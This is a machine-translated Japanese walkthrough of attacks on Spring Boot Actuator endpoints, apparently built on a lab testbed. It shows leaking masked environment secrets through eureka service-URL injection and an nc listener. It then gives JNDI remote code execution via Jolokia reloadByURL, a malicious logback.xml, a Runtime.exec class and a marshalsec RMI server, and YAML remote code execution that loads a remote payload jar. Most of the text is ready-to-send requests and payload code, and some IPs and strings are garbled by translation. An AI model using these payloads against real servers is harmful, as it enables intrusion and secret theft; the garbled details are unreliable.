1。 Springboot envに *敏感な情報を取得します
Springbootサイトに直接アクセスすると、一部のパスワードフィールドが *で満たされていることがわかります。
クリアテキストフィールドは$ {name} 2を介して取得できます。不適切な構成は、機密情報の漏れにつながります(パスワードコールアスタリスク、PWDはアスタリスクを呼び出しません参照https://MP.weixin.Q.com/s/s/hmgeyrcf1HSVW995501
特定の実装プロセス:
たとえば、 PIDパラメーター値を取得したい
'pid':' 10648 '、
post /env http /1.1
HOST: 10.20.24.191:8090
user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
Accept-Encoding: gzip、deflate
Connection:閉じます
アップグレード-Insecure-Requests: 1
Content-Type:アプリケーション/x-www-form-urlencoded
Content-Length: 76
eureka.client.serviceurl.defaultzone=http://$ {pid }@10.20.24.191:2444/
次に、コンテンツを更新し、脆弱性をトリガーします
PS:は通常、応答パッケージを持つために3秒待つ必要があります。リターンがリフレッシュできないSpring-Boot-Starter-Actuator拡張機能パッケージがないためである可能性がある場合、悪用することはできません。
投稿/更新http /1.1
HOST: 10.20.24.191:8090
user-agent: mozilla/5.0(macintosh; intel mac os x 10.14; rv336052.0)gecko/20100101 firefox/52.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
Accept-Encoding: gzip、deflate
Connection:閉じます
アップグレード-Insecure-Requests: 1
Content-Type:アプリケーション/x-www-form-urlencoded
Content-Length: 5
12312
サーバーNCがポート2444に耳を傾けると、受信されます
root@kali:/tmp#nc -lvvp 2444
[任意の] 2444で聞く.
Kali [10.20.24.191] 40960から[10.20.24.191]に接続します
get/xstream/apps/http/1.1
Accept: Application/JSON
discoveryidentity-name: defaultclient
DiscoveryIdentity-version: 1.4
DiscoveryIdentity-ID: 10.20.24.191
Accept-Encoding: GZIP
host: 10.20.24.191:2444
Connection: Keep-Alive
user-agent: java-eurekaclient/v1.4.11
Authorization: BASIC MZGZNDY6BNVSBA==
Authorization: BASIC MZGZNDY6BNVSBA==
取得するためのbase64デコード
root@kali:/tmp#echo mzgzndy6bnvsba==| base64 -d
38346:Null
上記のPID情報と同じです
同様に、user.countryパラメーターを取得すると、手順は同じです
結果:
root@kali:/tmp#nc -lvvp 2555
[任意の] 2555で聞く.
Kali [10.20.24.191]から[10.20.24.191]に接続します。38994
get/xstream/apps/http/1.1
Accept: Application/JSON
discoveryidentity-name: defaultclient
DiscoveryIdentity-version: 1.4
DiscoveryIdentity-ID: 10.20.24.191
Accept-Encoding: GZIP
HOST: 10.20.24.191:2555
Connection: Keep-Alive
user-agent: java-eurekaclient/v1.4.11
Authorization: Basic VVM6BNVSBA==
0、RCVD 310を送信します
取得するためのbase64デコード
root@kali:/tmp#echo vvm6bnvsba==| base64 -d
US: Null Scripting:
照会するパラメーターを入力し、NC で聴くポートを入力します
ポートを聴き、指定されたヘッダーヘッダーを取得し、自動的にbase64復号化
PS:ターゲットクラスパス(通常はSpring Cloud Netflixに含まれる)にEureka-Client 1.8.7を持つことができた場合、XStream Deserializationの脆弱性を活用できます。
たとえば、USER-AGENT: JAVA-EUREKACLIENT/V1.4.11
2。 springboot_actuator jndi rce
1。環境構築
git clone 3https://github.com/veracode-research/actuator-testbed
起動する
MVNインストール
または
MVN Spring-Boot:Run
コンピレーションと操作により、リスニングIPアドレスは127.0.0.1であり、ローカルマシンのみでアクセスできることがわかりました。 Baidu検索、0.0.0.0に変更するだけです。
キーファイルを見つけます
grep -r 'server.address' -n ./
./src/main/resources/application.properties:23360server.address=127.0.0.1
./target/classes/application.properties:2:server.address=127.0.0.1
に変更します
server.port=8090
server.address=0.0.0.0
#脆弱な構成セット0:スプリングブート1.0-1.4
#すべてのスプリングブートバージョン1.0-1.4パラメーターなしでデフォルトでアクターを公開する
#それらを公開するために必要な構成はありません
#セーフ構成セット0:スプリングブート1.0-1.4
#management.security.enabled=true
#脆弱な構成セット1:スプリングブート1.5+
#スプリングブート1.5+はmanagement.security.enabled=falseを必要とします敏感なアクターを公開する
#management.security.enabled=false
#セーフ構成セット1:スプリングブート1.5+
# 'management.security.enabled=false'が、すべての敏感なアクターが明示的に無効になっている場合
#management.security.enabled=false
#脆弱な構成セット2:スプリングブート2+
#management.endpoints.web.exposure.include=*
2。再起動して起動
mvn spring-boot:run
または
/opt/jdk1.8.0_60//bin/java-classpath /opt/apache-maven-3.6.2/plexus-classworlds-2.6.0.jar -dclassworlds.conf=/opt/apache-maven-3.6.2/bin/bin/m2.conf -dmaven.home=/opchmen.home -dlibrary.jansi.path=/opt/apache-maven-3.6.2/lib/jansi-native -dmaven.multimoduleprojectdirectory=/root/actuator/actuator-testbed org.codehaus.plexus.classworlds.launcher.launchersprun-boot3:Run
しばらく待ってください
root@kali:〜/actuator/actuator -testbed#netstat -ntpl | grep 8090
TCP6 0 0 :8090 :*聞いて33666/java
root@kali:〜/actuator/actuator-testbed#
http://10.20.24.191:8090/
http://10.20.24.191:8090/Jolokia/List
reloadbyurlは、リモートURL XMLファイルをロードできます
'ch.qos.logback.classic': {
'name=default、type=ch.qos.logback.classic.jmx.jmxconfigurator': {
'op': {
'reloadbyurl': {
'args': [
{
'name ':' p1 '、
'Type':' java.net.url '、
'desc':' '
}
]、
'ret':' void '、
'desc':'管理のために公開された操作'
}
3.HTTP Service Stores logback.xml、exportobject.class
logback.xmlファイルコンテンツ
Configuration
InsertFromjndi env-entry-name='rmi: //10.20.24.19133601099/exploit' as='appname'/
/構成
ExportObject.java
java.io.bufferedreaderをインポートします。
java.io.inputStreamをインポートします。
java.io.inputStreamReaderをインポートします。
Public Class ExportObject {
public ExportObject()スロー例外{
process var1=runtime.getRuntime()。exec( 'touch /tmp /jas502n');
inputstream var2=var1.getinputStream();
BufferedReader var3=new BufferedReader(new inputStreamReader(var2));
文字列var4;
while((var4=var3.readline())!=null){
System.out.println(var4);
}
var1.waitfor();
var2.close();
var3.close();
var1.destroy();
}
public static void main(string [] var0)は例外をスローします{
}
}
4.rceトリガー
RMIポートを聴いてください
root@kali:〜/ldap_rmi#cat rmi.sh
Java -CP MARSHALSEC-0.0.3-SNAPSHOT-ALL.JAR MARSHALSEC.JNDI.RMIREFSERVER http://10.20.24.191:8000/#EXPORTOBJECT
root@kali:〜/ldap_rmi#./rmi.sh
* 1099にJRMPリスナーを開く
/10.20.24.191:43878から接続があります
メッセージを読む.
rmi.lookup call for exportobject 2です
http://10.20.20.24.191:8000/exportobject.classをターゲットとするリモートクラスロードスタブの送信
接続を閉じます
ブラウザアクセスは、解析用のリモートlogback.xmlファイルをロードします。
サーバーは悪意のあるJNDIアドレスにアクセスし、悪意のあるバイトコードコードの実行を引き起こします
http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:name=default、type=ch.qos.l ogback.classic.jmx.jmxconfigurator/reloadbyurl/http:
5。コマンドの実行は成功しました
root@kali:/var/www/html#ls/tmp/j*
/TMP/JAS502N
root@kali:/var/www/html#
iii。 YML RCE脆弱性
スプリング環境でRCEを実装する方法spring.cloud.bootstrap.locationプロパティの変更はより信頼性が高い
このプロパティは、外部構成をロードし、YAML形式で解析するために使用されます。これを達成するために、ポスト/リフレッシュコンテンツは脆弱性を引き起こします。 yaml_payload.ymlファイルコンテンツ:
! javax.script.scriptenginemanager [
! java.net.urlclassloader [[[[
! java.net.url ['http://10.20.24.191:8000/yaml_payload.jar']
]]
]
1.yaml_payload.jar製造
コード3https://github.com/artsploit/yaml-payload
awesomescriptenginefactory.javaコードの一部
javax.script.scriptengineをインポートします。
javax.script.scriptengineFactoryをインポートします。
java.io.ioexceptionをインポートします。
java.util.listをインポートします。
Public Class AwesomeScriptEngineFactoryはScriptEngineFactoryを実装しています{
public wesomescriptengineFactory(){
試す {
runtime.getRuntime()。exec( 'touch /tmp /success');
} catch(ioException e){
e.printstacktrace();
}
}
ymal_payload.jar \ artsploit \ awesomescriptenginefactory.java
実際のバイトコードが含まれており、コンストラクターに悪意のあるペイロードがあります。
ymal_payload.jar \ services \ javax.script.scriptengineFactory
serviceloaderがクラスを見つける場所を知っているように、「artsploit.awesomescriptenginefactory」への完全な参照を含むテキストファイルだけ
コンテンツ:Artsploit.awesomescriptengineFactory
JARファイルはHTTPサーバーに存在します
http://10.20.24.191:8090/ymal_payload.jar
2.spring.cloud.bootstrap.location
をセットしますSprud.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml
post /env http /1.1
HOST: 10.20.24.191:8090
user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
Accept-Encoding: gzip、deflate
x-forwarded-for: 127.0.0.1
Connection:閉じます
アップグレード-Insecure-Requests: 1
Content-Type:アプリケーション/x-www-form-urlencoded
Content-Length: 73
spring.cloud.bootstrap.Location=http://10.20.20.24.19133608000/yaml_payload.yml
3. refresh任意のコンテンツを投稿し、RCEの脆弱性がトリガーされました
POST /更新HTTP /1.1
HOST: 10.20.24.191:8090
user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0
Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8
Accept-Language: Zh-Cn、Zh; q=0.8、en-us; q=0.5、en; q=0.3
Accept-Encoding: gzip、deflate
x-forwarded-for: 127.0.0.1
Connection:閉じます
アップグレード-Insecure-Requests: 1
Content-Type:アプリケーション/x-www-form-urlencoded
Content-Length: 5
12312
4.RCE実行は成功しました
ROOT@kali:/var/www/html#ls/tmp/suck*
/TMP/成功
root@kali:/var/www/html#ps: eurekaのxstreamペイロードと比較して、yamlメソッドは最新バージョンでも使用できます。参照リンク3https://www.veracode.com/blog/research/exploiting-spring-boot-actuatorsオリジナルリンク:https://github.com/jas502n/springboot_actuator_rce